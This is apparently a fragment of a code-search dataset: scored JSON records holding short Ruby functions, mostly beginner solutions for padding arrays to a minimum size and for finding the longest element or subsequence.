"title": "" }, { "docid": "3cfbbc15e8e0e6605236cd6b7d36e9bf", "score": "0.6020787", "text": "def pad!(array, min_size, value = nil) #destructive\n solution_array = []\n if min_size <= array.length\n #p array\n return array\n elsif min_size > array.length\n solution_array = array\n times_to_pad = min_size - array.length\n #p times_to_pad\n times_to_pad.times do\n solution_array << value\n #p solution_array\n end\n end\n return solution_array\nend", "title": "" }, { "docid": "9f11bea038eac7ac35c170e88ae40ffe", "score": "0.6020423", "text": "def pad(array, min_size, value = nil) #non-\n other_array=[]\n if min_size==0\n other_array << array\n other_array.flatten!\n else\n num_things=min_size-array.length\n if array == []\n num_things.times do\n other_array << value\n end\n else\n other_array << array\n other_array.flatten!\n num_things.times do\n other_array << value\n end\n end\n end\n other_array\nend", "title": "" }, { "docid": "4903a40a19aa9b24f9e36b879a03e98e", "score": "0.5976556", "text": "def pad!(array, min_size, value = nil) #destructive\n diff = min_size - array.length\n times = 0 if diff < 0\n diff.times do\n array << value\n end\n array\nend", "title": "" }, { "docid": "10d35006680852431ba5fe769be7cca8", "score": "0.5974149", "text": "def something\n max = self.max_size\n arrays = self.lifts_array\n arrays.each do |array|\n if array.size < max \n difference1 = max - array.size\n difference = difference1 / 2\n difference.times do \n array << 0\n array << \"0\"\n end\n else\n end\n end\n arrays\n end", "title": "" }, { "docid": "c1f7e1a974a4c26a7a9f3f8f9ba71169", "score": "0.5971323", "text": "def zip_to_length(length, *arrays)\n (0...length).map do |i|\n arrays[-1].map { |array| array[i] }\n end\nend", "title": "" }, { "docid": "b7a00676184505a7fbda2d841e17c4ae", "score": "0.5951424", "text": "def longest_zig_zag(array)\n puts \"Given array: #{array}\"\n las_array = Array.new(array.size){Array.new}\n las_array[0][0] = array[0] # LIS of array of size 0 would be just that element\n for i in 1..array.size-1\n for j in 0..i-1\n \n if array[j] < array[i] && lis_array[i].size < lis_array[j].size + 1 # Have the longest matching subsequence from before.\n lis_array[i] = Array.new(lis_array[j])\n end\n end\n lis_array[i] << array[i]\n end\n i = 0\n max_seq_size = 0\n lis_array.each do |lis_row|\n max_seq_size = lis_row.size if lis_row.size > max_seq_size\n puts \"Longest substring until array position #{i}: #{lis_row}\"\n i += 1\n end\n puts \"longest increasing sequence size: #{max_seq_size}\"\nend", "title": "" }, { "docid": "d1822c84751c1c24e6b6eaf2e89c3836", "score": "0.5916131", "text": "def combine (arr1, arr2)\n puts \"Combining #{arr1.join.reverse}, #{arr2.join.reverse}\"\n arr3 = []\n len1 = arr1.length\n puts \"len1 = #{len1}\"\n len2 = arr2.length\n puts \"len2 = #{len2}\"\n $divisor = 0\n if len1 > len2\n longest = len1\n else\n longest = len2\n end\n\nfor i in (0..longest-1)\n if i>len1\n arr3[i] = arr1[i].to_i+$divisor\n elsif i>len2\n arr3[i]=arr2[i].to_i+$divisor\n else\n arr3[i]=arr1[i].to_i+arr2[i].to_i+$divisor \n $divisor = arr3[i]/10\n arr3[i] %= 10\n end\n end\nwhile ($divisor > 0)\n arr3[len1+=1] = $divisor%10\n $divisor /= 10\n end\n\nreturn arr3\n end", "title": "" }, { "docid": "8ae13f30e5b6e5e97cc97f2410294dbb", "score": "0.59041065", "text": "def pad_array(array, min_size, pad_with)\nend", "title": "" }, { "docid": "814c74bd6b9d93bf57102a39fd3d9d45", "score": "0.5889594", "text": "def solution(n)\n binary_n = convert_to_binary(n)\n current, longest = 0, 0\n seen_start_one = false\n seen_end_one = false\n\n binary_n.each_char do |c|\n if c == \"0\"\n current += 1\n longest = [longest, current].max\n else\n current = 0\n end\n end\n\n longest\nend", "title": "" }, { "docid": "127277b3a12055d26530ffd2278ff1de", "score": "0.5887918", "text": "def find_longest(n)\n\tbinary = n.to_s(2)\n\n p binary\n a , b = 0\n\t# (0...binary.size).map do |i|\n\t\tbinary_copy = binary.dup\n\n\t\t# binary_copy[i] = \"1\"\n\n\t\t# puts binary_copy\n\n\t a = binary_copy.scan(/0+/).max.size \n\t b = binary_copy.scan(/1+/).max.size \n\t# end \n\ta > b ? a : b \nend", "title": "" }, { "docid": "65716ba974a0e418233078f38ec31380", "score": "0.5879332", "text": "def wiggle_max_length(nums)\n return 0 if nums.empty?\n smaller, larger = Array.new(nums.size) { 1 }, Array.new(nums.size) { 1 }\n max = 1\n 1.upto(nums.size - 1).each { |i|\n 0.upto(i - 1).each { |j|\n if (nums[i] > nums[j])\n smaller[i] = [larger[j] + 1, smaller[i]].max\n elsif (nums[i] < nums[j])\n larger[i] = [smaller[j] + 1, larger[i]].max\n end\n }\n \n max = [max, smaller[i], larger[i]].max\n }\n \n return max\nend", "title": "" }, { "docid": "9f7d1e5200546f7e96eed0e57c0b5686", "score": "0.5877366", "text": "def clever_octopus(arr)\n longest = \"\"\n arr.each {|el| longest = el if el.length >= longest.length}\n longest\nend", "title": "" }, { "docid": "9a34d289a7d1dd1dfe26ee12e90b1588", "score": "0.58679456", "text": "def pad_size(array, min_size)\n min_size - array.length\nend", "title": "" }, { "docid": "7df6095c324a7a2420062aaf3efb6950", "score": "0.58547235", "text": "def short_long_short(input1, input2)\n input_array = [input1, input2] # => [\"abc\", \"defgh\"], [\"abcde\", \"fgh\"], [\"\", \"xyz\"]\n sorted_array = input_array.sort { |a,b| a.length <=> b.length } # => [\"abc\", \"defgh\"], [\"fgh\", \"abcde\"], [\"\", \"xyz\"]\n sorted_array << sorted_array[0] # => [\"abc\", \"defgh\", \"abc\"], [\"fgh\", \"abcde\", \"fgh\"], [\"\", \"xyz\", \"\"]\n sorted_array.join(\"\") # => \"abcdefghabc\", \"fghabcdefgh\", \"xyz\"\nend", "title": "" }, { "docid": "af02343a975779f443f5b69f86babcca", "score": "0.5844919", "text": "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n end\n if min_size > array.length\n remainder = min_size - array.length\n remainder.times do array << value\n end\n end\n p array\nend", "title": "" }, { "docid": "27b473e00627c9c25893d516cbd5ebec", "score": "0.58350253", "text": "def pad!(array, min_size, value = nil) #destructive\n (min_size <= array.length || min_size == 0)? array:array.fill(value, array.length..min_size-1)\nend", "title": "" }, { "docid": "309c6ed7cc6ed39f598cd979d93cea0c", "score": "0.58271474", "text": "def pad_refact!(array, min_size, value = nil)\n array.fill(value, array.length..min_size)\nend", "title": "" }, { "docid": "0ba07a3c2dd6cc5d47708f0f594f9d73", "score": "0.58167803", "text": "def pad_length\n offset = (lp_data.abs_offset + lp_data.to_binary_s.length) % 4\n (4 - offset) % 4\n end", "title": "" }, { "docid": "cca6b7697c9a2ef67ea7d43c960159ce", "score": "0.58049613", "text": "def clever_octopus(fish_array)\n longest = \"\"\n\n fish_array.length.times do |i|\n if fish_array[i].length > longest.length\n longest = fish_array[i]\n end\n end\n\n longest\nend", "title": "" }, { "docid": "e3a77d9baa7412f22fa34087ec5909fe", "score": "0.58005524", "text": "def longest_bridges(input)\n components = Set.new(parse(input))\n starters = components.select { |c| c[0].zero? }\n longest = []\n max = 0\n starters.each do |starter|\n bridge_each(components, starter) do |bridge|\n longest = [] if bridge.length > max\n longest << bridge if bridge.length >= max\n max = bridge.length if bridge.length > max\n end\n end\n longest\nend", "title": "" }, { "docid": "d087e72a887776ad036e25328a6eabe3", "score": "0.58002865", "text": "def clever_octopus(arr)\n longest = arr.first\n\n arr.each do |el|\n longest = el if el.length > longest.length\n end\n longest\nend", "title": "" }, { "docid": "5c8cc791493985749e5a762f141c68e6", "score": "0.5800009", "text": "def sluggish_octopus(arr)\n longest = \"\"\n arr.each do |el1|\n arr.each do |el2|\n longest = el1 if el1.length > el2.length\n end\n end\n longest\nend", "title": "" }, { "docid": "00db5e672cea6e9a433daf2b9e7e0c62", "score": "0.5799259", "text": "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n else\n pad_size = min_size - array.length\n counter = 0\n while counter < pad_size\n array << value\n counter+=1\n end\n return array\n end\nend", "title": "" }, { "docid": "724975aeddf9b0f8e95a3f247acaabf9", "score": "0.57978076", "text": "def find_longest(arr)\n arr.map(&:to_s).sort_by(&:length).find { |num| num.length == arr.map(&:to_s).sort_by(&:length).last.length }.to_i\nend", "title": "" }, { "docid": "30b8b3fd8ecb49e1df45bc60cb9a5816", "score": "0.5795987", "text": "def pad(array, min_size, value = nil) #non-destructive\n \n new_array = [].concat(array)\n # array.each { |el| new_array << el } \n \n difference = min_size - array.length\n #array.length #the variable len = array.length\n if difference > 0\n # puts positive amount of difference into array through default value\n difference.times { |el| new_array << value }\n end\n \n \n return new_array\n \nend", "title": "" }, { "docid": "9dcac232289ccaadaee0da5a45500d28", "score": "0.57942873", "text": "def linear(arr)\n longest = arr.first\n\n arr.each do |ele|\n if ele.length > longest.length\n longest = ele\n end\n end\n\n longest\nend", "title": "" }, { "docid": "5da5543d908a732416fa3908121e33a5", "score": "0.5793666", "text": "def lzpad(str, length)\n until str.length == length\n str = '0' + str\n end\n str\n end", "title": "" }, { "docid": "eadd7b52037bbc6b9c2514ff4685a614", "score": "0.57865936", "text": "def pad!(array, min_size, value = nil) #destructive\n if array.length < min_size\n padding_needed = min_size - array.length\n padding_needed.times { array.push value }\n end\n array\nend", "title": "" }, { "docid": "224119edbdbfe2094b976911ef171c49", "score": "0.5769413", "text": "def find_length(a, b)\n longest = 0\n temp = 0\n return longest if (a.empty? || b.empty?)\n \n indexes = {}\n b.each_with_index do |num, idx|\n if !(indexes[num])\n indexes[num] = [idx]\n else\n indexes[num] << idx\n end\n end\n \n a.each_with_index do |num, idx|\n if !(indexes[num])\n next \n else\n b_idxes = indexes[num]\n b_idxes.each do |b_idx| \n temp = does_repeat?(a[idx..-1], b[b_idx..-1])\n \n temp > longest ? longest = temp : nil\n end\n end\n end\n \n longest\nend", "title": "" }, { "docid": "9b527fd649f5ec88e8e09142b8950b5f", "score": "0.57665175", "text": "def pad!(array, min_size, value = nil) #destructive\n difference = min_size - array.length\n while difference > 0 do\n array << value\n difference-=1\n end\n array\nend", "title": "" }, { "docid": "70125b5c4e975a5acfb50a5a560ec922", "score": "0.5763491", "text": "def longest_chain()\r\n\tmax_num = 1000000\r\n\tcache = Array.new(max_num, -1)\r\n\tcache.unshift(1)\r\n\r\n\tlength = (1..max_num).map{ |num| [collatz_length(num, cache), num] }.sort\r\n\treturn length.last.join(', ')\r\nend", "title": "" }, { "docid": "f34c412809c951d3c2e4c02d8c112f7d", "score": "0.57604694", "text": "def pad(input_array, min_size, value = nil) #non-destructive\n array = []\n input_array.each do |x|\n array << x\n end\n if array.length < min_size\n i = array.length\n while i < min_size\n array[i] = value\n i += 1\n end\n end\n p array\nend", "title": "" }, { "docid": "e7c788ea519f7c03f9ecd1631aa5ceda", "score": "0.5758185", "text": "def max_sequence(arr)\n return 0 if arr.empty?\n\n max_ending_here = max_so_far = 0\n \n arr.each do |n|\n max_ending_here = [n, max_ending_here + n].max\n max_so_far = [max_so_far, max_ending_here].max\n end\n \n max_so_far\nend", "title": "" }, { "docid": "082d9ff6ce36d48cbe93ad32d40f4f7f", "score": "0.5749986", "text": "def pad!(array, min_size, value = nil) #destructive\n array << value while min_size > array.length\n array\nend", "title": "" }, { "docid": "b633ee164116d81c744f871cf1b0f561", "score": "0.57424724", "text": "def clever_octopus(arr)\n longest = \"\"\n arr.each do |el|\n longest = el if el.length > longest.length\n end\n longest\nend", "title": "" }, { "docid": "01543595e3f0b76b2e1f32dcd98a79f7", "score": "0.57393473", "text": "def pad!(array, min_size, value = nil) #destructive\n difference = (min_size - array.length)\n difference.times {\n array << value}\n return array\nend", "title": "" }, { "docid": "44688681edca34d39e7ca207f8fb3ea4", "score": "0.573908", "text": "def pad!(array, min_size, value = nil) #destructive\n i = min_size - array.length\n\n i.times {array.push(value)} if array.length < min_size\n array\nend", "title": "" }, { "docid": "863aba9377d2bb0f1aa8e1c9ffb0526a", "score": "0.5738282", "text": "def longest_prefix(strings)\n temp = strings[0].chars\n \n strings.each_with_index do |value, i|\n value.length.times do |i|\n if value[i] != temp[i]\n temp[i] = nil\n end\n end\n end\n \n nil_location = temp.index(nil) || temp.length\n return temp.take(nil_location).join\nend", "title": "" }, { "docid": "005d7a9281fd17f93591201652afe5c1", "score": "0.5738059", "text": "def clever_octopus(arr)\n i = 0\n j = arr.length-1\n\n max = arr[0]\n while i != j\n if arr[i].length < arr[j].length\n max = arr[j]\n i += 1\n elsif arr[j].length <= arr[i].length\n max = arr[i]\n j -= 1\n end\n end\n max \nend", "title": "" }, { "docid": "7605c5c1fabdb8b130e17e4e4242b887", "score": "0.57283664", "text": "def pad!(array, min_size, value = nil) #destructive\n \n if min_size <= array.length\n p array\n else \n p array << array + [value] * (min_size - array.length) \n end\nend", "title": "" }, { "docid": "5f91836161009112e5c5ff28a5ddc259", "score": "0.5723342", "text": "def pad(array, min_size, value = nil) #non-destructive\n new_array = Array.new\n new_array += array\n new_array.fill(value, array.length...min_size)\nend", "title": "" }, { "docid": "95b110787a085e52d9a4100aaf2058fe", "score": "0.5715716", "text": "def pad!(array, min_size, value = nil) #destructive\n if array.length - min_size < 0\n difference = array.length - min_size\n difference = difference.abs\n for i in 0..difference - 1\n array.push(value)\n end\n end\n return array\nend", "title": "" }, { "docid": "1b9d339bc285b82205db30fb1c0be7f4", "score": "0.57155246", "text": "def pad!(array, min_size, value = nil) #destructive\n if array.count >= min_size\n return array\n else\n (min_size - array.count).times do\n array << value\n end\n return array\n end\nend", "title": "" }, { "docid": "be72e3c2e0088217da11aa1f1971206e", "score": "0.57125", "text": "def pad!(array, min_size, value = nil) #destructive\n difference = min_size - array.length\n #array.length #the variable len = array.length\n if difference > 0\n # puts positive amount of difference into array through default value\n difference.times { |x| array.push value }\n end\n return array\nend", "title": "" }, { "docid": "296209fc6a619b3b5d43fa96e4824daa", "score": "0.5708887", "text": "def pad_two_dimensionnal_array(array)\n column_count = array[0].length\n longests = Array.new(column_count, 0)\n array.each do |line|\n line.each_with_index do |cell, column|\n cell = '' if cell.nil?\n length = cell.size\n longest = longests[column]\n longests[column] = length if length > longest\n end\n end\n\n padded_array = array.map do |line|\n line.map.with_index do |cell, index|\n cell = '' if cell.nil?\n cell.ljust(longests[index])\n end\n end\n padded_array\n end", "title": "" }, { "docid": "abe8b29bb55fd318512e818e7af02569", "score": "0.5707468", "text": "def pad!(array, min_size, value = nil) #destructive\n array << value while array.length < min_size\n array\nend", "title": "" }, { "docid": "9589bcf8f4cfb624b3ef9426887a2436", "score": "0.57028997", "text": "def pad!(array, min_size, value = nil)\n array.fill(value, array.length, min_size-array.length)\nend", "title": "" }, { "docid": "be6ce88e9e76d90e6df713b80a08f252", "score": "0.5694252", "text": "def pad!(array, min_size, value = nil) #destructive\n while array.length < min_size\n array << value\n end\n array\nend", "title": "" }, { "docid": "e4dd636c915c31a53e51dbe77b04d45c", "score": "0.56932133", "text": "def lucas_sequence(len)\n return [] if len <= 0\n return [2] if len == 1\n return [2, 1] if len == 2\n\n return lucas_sequence(len-1) << lucas_sequence(len-1)[-2..-1].sum\nend", "title": "" }, { "docid": "ad323a869fd1f87e9496695423e34334", "score": "0.56880474", "text": "def max_sequence(arr)\r\n return 0 if arr.all? { |el| el < 0 }\r\n return arr.sum if arr.all? { |el| el > 0 }\r\n return 0 if arr.empty?\r\n \r\n sub_arrs = []\r\n (0...arr.size).each do |start_index|\r\n # p \"start #{start_index}\"\r\n (1..arr.size - start_index).each do |length|\r\n # p \"length #{length}\"\r\n sub_arrs << arr[start_index, length]\r\n end\r\n end\r\n sub_arrs.map do |sub_arr|\r\n sub_arr.sum\r\n end.max\r\nend", "title": "" }, { "docid": "e917c67f9a7608bc5c31ad08eeaba9da", "score": "0.56858486", "text": "def clever_octopus(arr)\n longest = nil\n\n arr.each do |fish|\n longest = fish if longest.nil? || fish.length > longest.length\n end\n\n longest\nend", "title": "" }, { "docid": "8e2a8d6fc20e383dfa6982e6d20e8284", "score": "0.5685273", "text": "def pad!(array, min_size, value = nil)\nreturn array.fill(value, array.length..(min_size-1))\nend", "title": "" }, { "docid": "d8749fa7a12a82656103431c56ee70aa", "score": "0.5685137", "text": "def pad(array, min_size, value = nil) #non-destructive\n new_array = [] + array\n while new_array.length < min_size\n new_array << value\n end\n new_array\nend", "title": "" }, { "docid": "47a4e8ccd1db3f36e2120969259c7df4", "score": "0.56850165", "text": "def longest_continuous_binary(num) \n return 0 if num == 0\n sequence = binary_num(num)\n longest(sequence)\nend", "title": "" }, { "docid": "861c4feb8745571c8da80107e5ab0cce", "score": "0.5683192", "text": "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n if array.length < min_size\n x = min_size - array.length\n x.times do array << value\n end\n end\n return array\nend", "title": "" }, { "docid": "0a08864118adda951e6c513ace620407", "score": "0.5682235", "text": "def max_sequence(arr)\n return 0 if arr.empty? || arr.all?(&:negative?)\n\n result = []\n 1.upto(arr.size) { |n| result << arr.each_cons(n).map(&:sum).max }\n result.max\nend", "title": "" }, { "docid": "a9ecfd0fd81a27c597157fe03d13c462", "score": "0.5682005", "text": "def pad!(array, min_size, value = nil) #destructive\n array.keep_if{ |a| a <= array.length}\n difference = min_size - array.length\n counter = 0\n while counter < difference\n array << value\n counter += 1\n end\n p array\n # self = ans_array\nreturn array\nend", "title": "" }, { "docid": "7f8faa69bdb0dd54a26115b5278556ed", "score": "0.5675833", "text": "def getLengthOfMissingArray(array_of_arrays)\n if array_of_arrays.empty? || array_of_arrays == nil || array_of_arrays.all? {|a| a.empty? || a.nil?}\n return 0\n end\n\n lengths = array_of_arrays.map {|a| a.length}\n lengths.sort!\n\n length = lengths.delete_at(0)\n missing_length = 0\n\n lengths.each do |l|\n if l > length.next\n missing_length = length.next\n else\n length = l\n end\n end\n return missing_length\nend", "title": "" }, { "docid": "26c696935853b0f59a64735fe2165804", "score": "0.5666804", "text": "def pad!(array, min_size, value = nil) \n array.fill(value, array.length...min_size) unless min_size <= array.length\n array\nend", "title": "" }, { "docid": "052f12583e2d58762e9287eff0d55929", "score": "0.5666594", "text": "def pad!(array, min_size, value = nil) #destructive\n while array.length < min_size\n array << value\n end\n return array\nend", "title": "" }, { "docid": "340930475a0019b1b2c0a5471a7a6081", "score": "0.5666415", "text": "def longest_subarr(arr)\n max_len = 0\n sum = 0\n store = {}\n\n arr.each_with_index do |n, i|\n sum += n\n\n # special case if started at 0\n max_len = i + 1 if sum == 0\n\n if store[sum]\n max_len = [max_len, i - store[sum]].max\n else\n store[sum] = i\n end\n end\n max_len\nend", "title": "" }, { "docid": "18b6cba278933f1a27da8f0cd81122f4", "score": "0.5662479", "text": "def pad!(array, min_size, value = nil) #destructive\n array.fill(value, array.length...min_size)\nend", "title": "" }, { "docid": "017b61dfb06aaf1b3f5ca6b9efbee7c1", "score": "0.5658566", "text": "def pad(array, min_size, value = nil) #non - destructive\n array_modified = []\n if min_size <= array_modified.length\n array_modified = array.map { |x| x }\n elsif min_size == 0\n array_modified = array.map { |x| x }\n else\n array_modified = array.map { |x| x }\n (min_size - array_modified.length).times {\n array_modified.push(value)\n }\n return array_modified\n end\nend", "title": "" }, { "docid": "63ba0394a8b8bc612d48f3d95f11e985", "score": "0.5647918", "text": "def pad!(array, min_size, value = nil) #destructive\n if min_size <= array.length\n return array\n else\n size = min_size - array.length\n counter = 0\n while counter < size\n array << value\n counter += 1\n end\n end\n return array\nend", "title": "" }, { "docid": "cfbb9cda9e981173c12eb42d0c73c7e6", "score": "0.56396335", "text": "def direct_run_length_encode\n self.inject([[0, nil]]) do |array, current|\n if array[-1][-1] == current or array[-1][-1].nil?\n array[-1][-1] = current\n array[-1][0] += 1 \n else\n array[-1] = array[-1][-1] if array[-1][0] == 1\n array << [1, current]\n end\n array\n end\n end", "title": "" }, { "docid": "3e0c87381ccc0f22aabfa92e11fd4441", "score": "0.56374305", "text": "def longest_palindrome_subseq(s)\n length = s.size\n dp = []\n\n length.times do |i|\n dp[i]= Array.new(length).fill(0);\n dp[i][i] = 1\n end\n puts \"dp #{dp}\"\n (2..length).each do |len|\n puts \"len #{len}\"\n (0..(length - len)).each do |i|\n j = i + len - 1\n # puts \"j #{j} => i:#{i} + len:#{len} - 1\"\n\n if s[i] == s[j]\n dp[i][j] = 2 + (len == 2 ? 0 : dp[i+1][j-1])\n else\n dp[i][j] = [dp[i+1][j], dp[i][j-1]].max\n end\n puts \"dp #{dp}\"\n end\n end\n\n dp[0][length - 1]\nend", "title": "" }, { "docid": "7bfb239bf691813505feb4325f3028b8", "score": "0.5632562", "text": "def pad!(array, min_size, value = nil) #destructive\n if array.length < min_size\n (min_size - array.length).times { array.push(value) }\n end\n return array\nend", "title": "" }, { "docid": "aca489e8d38694c2b295c243e2ce82da", "score": "0.5625703", "text": "def %(len) # {{{\n inject([]) do |array, x|\n # array << [] if [*array.last].nitems % len == 0\n array << [] if [*array.last].count{|x| !x.nil?} % len == 0\n array.last << x\n array\n end\n end", "title": "" }, { "docid": "88db0a548a4355d95d750fdf5d87bbf3", "score": "0.562513", "text": "def pad!(array, min_size, value = nil) #destructive\n while min_size > array.length\n array.push(value)\n end\n array\nend", "title": "" }, { "docid": "534379253d465c76ca979ef136473d3a", "score": "0.562471", "text": "def largesum(arr)\n final = []\n\n arr.each.with_index do |a, idx|\n arr.each.with_index do |b, xdx|\n if arr[idx..xdx].empty?\n next\n else\n final << arr[idx..xdx]\n end\n end\n end\n\n final.map(&:sum).max\n\n\nend", "title": "" }, { "docid": "cc8cd2a9bacc47f73c910d5a6434f82b", "score": "0.56201863", "text": "def pad!(array, min_size, value=nil)\n array.fill(value, array.length...min_size)\nend", "title": "" }, { "docid": "dee4f36f84ed50569bf6be3d37918250", "score": "0.5617056", "text": "def pad!(array, min_size, value = nil) #destructive\n if(min_size <= array.length)\n return array\n else\n counter = min_size - array.length\n while counter > 0\n array << value\n counter -= 1\n end \n return array\n end\nend", "title": "" }, { "docid": "2167c96aa8da5af082aa53203d0e88c6", "score": "0.56132615", "text": "def longest_sequence(num, numbers)\n\tputs \"calculating for #{num}; #{100*num / 999983}% complete\"\n\tresults = [0]\n\tleft,right = 0,0\n\tsum = numbers[0]\n\twhile numbers[left] < num\n# \t\tputs \"sum=#{sum}\"\n# \t\tputs \"real sum=#{numbers[left..right].sum}\"\n\t\tcase sum <=> num\n\t\t\twhen -1: right += 1; sum += numbers[right]\n\t\t\twhen 0: results << (right - left + 1) ; sum-= numbers[left]; left+=1\n\t\t\twhen 1: sum-= numbers[left]; left+=1\n\t\tend\n\t\t\t\t\n\tend\n\treturn results.max\nend", "title": "" }, { "docid": "c9abbd8341edf85b667ffcd03dc6c122", "score": "0.5613005", "text": "def pad!(array, min_size, value = nil) #destructive\n if array.length >= min_size\n return array\n else\n diff = min_size - array.length\n diff.times do\n array << value\n end\n return array\n end\nend", "title": "" }, { "docid": "9194a70d556bbaa3bdc648a43836fe15", "score": "0.56122464", "text": "def fast_lcss(arr)\n i_arr = []\n biggest = 0\n max_sub_arr = []\n arr.length.times do |x|\n arr.map do |ele1|\n i_arr += [ele1]\n sum = i_arr.inject(0) do |a, b|\n a + b\n end\n max_sub_arr = i_arr if sum > biggest\n biggest = sum if sum > biggest \n end\n i_arr = []\n arr.shift\n end\n max_sub_arr\nend", "title": "" }, { "docid": "3092b7b86021635719b9a8048650be8c", "score": "0.56086767", "text": "def clever_octopus(array)\n max = nil\n array.each_with_index do |el, i|\n if max == nil || max.length < el.length\n max = el\n end\n end\n max\nend", "title": "" }, { "docid": "9d2535eb5bd840a80f1d1c5c01c57f5c", "score": "0.5605509", "text": "def find_max_consecutive_ones(nums)\n nums.join().split('0').map{|s| s.length}.max() || 0\nend", "title": "" }, { "docid": "5263c1b90202887d055cb894503f82cf", "score": "0.56001925", "text": "def solution(a)\n # write your code in Ruby 2.2\n return 0 unless a[0]\n necklaces = create_necklaces(a)\n \n \n size = necklaces.length\n index = 0\n max = necklaces[index].length\n \n while index < size\n if necklaces[index].length > max\n max = necklaces[index].length\n end\n index += 1\n end\n \n return max\nend", "title": "" }, { "docid": "5d55e0607eeae4756691ad781b7e0476", "score": "0.5598936", "text": "def pad!(array, min_size, value = nil) #destructive\n difference = array.length - min_size\n difference = difference.abs\n if array.length - min_size < 0\n for i in 0..difference - 1\n array.push(value)\n end\n end\n return array\nend", "title": "" }, { "docid": "a0c2a52d7552d0831e187548f03dad4c", "score": "0.5590675", "text": "def pad!(array, min_size, value = nil) #destructive\n # Your code here\n if min_size <= array.length\n return array\n else\n padding = array.length - min_size\n counter = array.length\n while counter < min_size\n array << value\n counter += 1\n end\n return array\n end\n\nend", "title": "" }, { "docid": "068ec37681eb31115f43138e8a975b11", "score": "0.5590375", "text": "def find_longest(arr)\n longest_num = 0 # current longest number\n most_digits = 0 # current most digits found in a number in the array\n\n arr.each do |num|\n digits_in_num = num.to_s.length\n if digits_in_num <= most_digits # if length of the current number is <= longest number yet - next\n next\n else # but if length is > than any other number we have seen yet -\n longest_num = num # set this num as new longest_num\n most_digits = digits_in_num # set the length of this num as the new standard to compare against\n end\n end\n longest_num\nend", "title": "" }, { "docid": "0cb55b626b0f5abde6bc045ca0fb4a07", "score": "0.5589975", "text": "def pad!(array, min_size, value = nil)\n if min_size==0\n return array\n else\n num_things=min_size-array.length\n num_things.times do\n array << value\n end\n end\n array\nend", "title": "" }, { "docid": "9a45f24c2a7fe8f27b3e22c39cfd29aa", "score": "0.55894125", "text": "def pad(arr, min_size, value = nil) #non-destructive\n array = arr.dup\n if array.length < min_size\n padding_needed = min_size - array.length\n padding_needed.times { array.push value }\n end\n array\nend", "title": "" }, { "docid": "2c98e92c9a56536c4c21a2ec06100773", "score": "0.5587787", "text": "def longest_prefix(strings)\n arr_length = strings.length\n word_length = strings[0].length\n \n result = \"\"\n \n word_length.times do |i|\n \n current_letter = strings[0][i]\n \n arr_length.times do |j|\n if strings[j][i] != current_letter\n return result\n end\n end\n \n result << current_letter # for future reference: push is O(1)\n end\n \n return result\nend", "title": "" }, { "docid": "ebc61fd1a1e420d8a64f4045f932c219", "score": "0.558005", "text": "def pad_length(len, width)\n\tif len % width == 0\n\t\treturn 0\n\tend\n\treturn (width - (len % width))\nend", "title": "" }, { "docid": "13e3aa2944c6fb5134b5c435fd6cf353", "score": "0.5578458", "text": "def longest_prefix(strings)\n return \"\" if strings.empty? == true\n \n longest_prefix = strings[0].chars\n strings.each do |string|\n holder = string.chars\n longest_prefix = holder & longest_prefix\n end\n\n return longest_prefix.join\n \n\nend", "title": "" }, { "docid": "5425913304e4f3b92a8562059bb7956b", "score": "0.55702895", "text": "def pad(array, min_size, value=nil)\n array.dup.fill(value, array.length...min_size)\nend", "title": "" }, { "docid": "5056eb4e6701f27284c966d3622eb7be", "score": "0.55701435", "text": "def pad!(array, min_size, value = nil) #destructive\r\n iter = min_size - array.length\r\n if min_size <= array.length\r\n return array\r\n else\r\n iter.times {array << value}\r\n end\r\n return array\r\nend", "title": "" }, { "docid": "ad8fb8e4b176f30b58dd10d9597e4eb6", "score": "0.55657214", "text": "def pad!(array, min_size, value = nil)\n if min_size <= array.length\n return array\n else\n while min_size - array.length > 0\n array << value\n end\n return array\n end\nend", "title": "" }, { "docid": "34a01cfb0b2a936dd82fc549bda83abe", "score": "0.5556271", "text": "def lucas_sequence(len)\n if len == 0\n return []\n elsif len == 1\n return [2]\n elsif len == 2\n return [2, 1]\n end\n\n arr = lucas_sequence(len - 1) \n arr << arr[-1] + arr[-2]\nend", "title": "" }, { "docid": "20c328511e5a635c142983757dedab46", "score": "0.55545074", "text": "def zany_zip(*arr)\n max_length = 0\n arr.each do |x|\n if x.length > max_length\n max_length = x.length\n end\n end\n result = []\n i = 0\n while i < max_length\n temp = []\n arr.each do |subarray|\n temp << subarray[i]\n end\n result << temp\n i += 1\n end\n result\nend", "title": "" }, { "docid": "7ca4f73fbf65310043588ceaeb9fb519", "score": "0.5547753", "text": "def pad(array, min_size, value = nil)\n array_new = [ ]\n array.each do |x|\n array_new.push(x)\n end\n while array_new.length < min_size\n array_new.push(value)\n end\n return array_new\nend", "title": "" } ]
8dc9b34268616b674d6b2c3d66076403
DELETE /estado_actividades/1 DELETE /estado_actividades/1.json
[ { "docid": "3c61c82a6b21122ff22977b15196fa97", "score": "0.0", "text": "def destroy\n\t\tauthorize! :destroy, EstadoActividad\n @estado_actividad.destroy\n respond_to do |format|\n format.html { redirect_to estado_actividades_url\nflash[:success] = 'Estado actividad fue borrado satisfactoriamente.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "05d038f52b418bf8f39fa0b764870ccf", "score": "0.7446455", "text": "def destroy\n @tipo_actividad = TipoActividad.find(params[:id])\n @tipo_actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_actividades_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "bb7f9d8f3b1c1a4a5f8743b0d842b80b", "score": "0.744538", "text": "def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to actividades_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "912764c35aaa005e2d2f3403410a3cfc", "score": "0.74070054", "text": "def destroy\n @actividade = Actividade.find(params[:id])\n @actividade.destroy\n\n respond_to do |format|\n format.html { redirect_to actividades_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "53a4ec727e837025284fce4497c83c91", "score": "0.7362282", "text": "def destroy\n @actestado.destroy\n respond_to do |format|\n format.html { redirect_to actestados_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0ec41ef26f8762a3e90972467ee3e7d8", "score": "0.7320066", "text": "def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to actividads_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c36468e261b3fd2197e2edba3acdab7", "score": 